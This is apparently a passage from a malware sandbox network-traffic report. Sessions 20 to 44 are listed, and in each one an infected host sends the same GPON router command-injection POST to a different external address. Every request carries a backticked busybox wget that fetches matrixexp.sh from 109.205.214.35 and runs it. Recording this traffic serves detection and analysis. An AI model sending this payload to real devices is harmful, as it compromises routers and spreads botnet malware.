20	192.168.2.23	46772	2.148.205.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959909916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	53062	79.180.134.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959932089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	37940	94.105.114.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959960938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	59208	212.217.24.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959965944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	60768	94.49.183.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959983110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	38548	109.90.179.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960033894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	57242	79.206.25.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960042000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	37962	118.15.174.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960059881 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	57884	79.94.112.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960102081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	33378	118.34.249.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960155964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	56748	37.206.242.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960160017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	45094	42.102.182.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960196972 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	39822	94.173.42.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960196972 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	60896	2.192.249.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960244894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	34442	178.234.216.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960258961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	39114	178.5.153.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960268021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	52216	109.142.83.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960290909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	60518	109.21.14.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960309982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	53876	94.227.25.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960325956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	55916	178.190.64.109	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960350037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	55736	178.233.125.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960364103 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	57724	210.193.158.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960383892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	60012	210.117.133.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960400105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	51714	94.180.21.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.960438967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	54898	118.5.107.207	443

Timestamp	Bytes transferred	Direction	Data
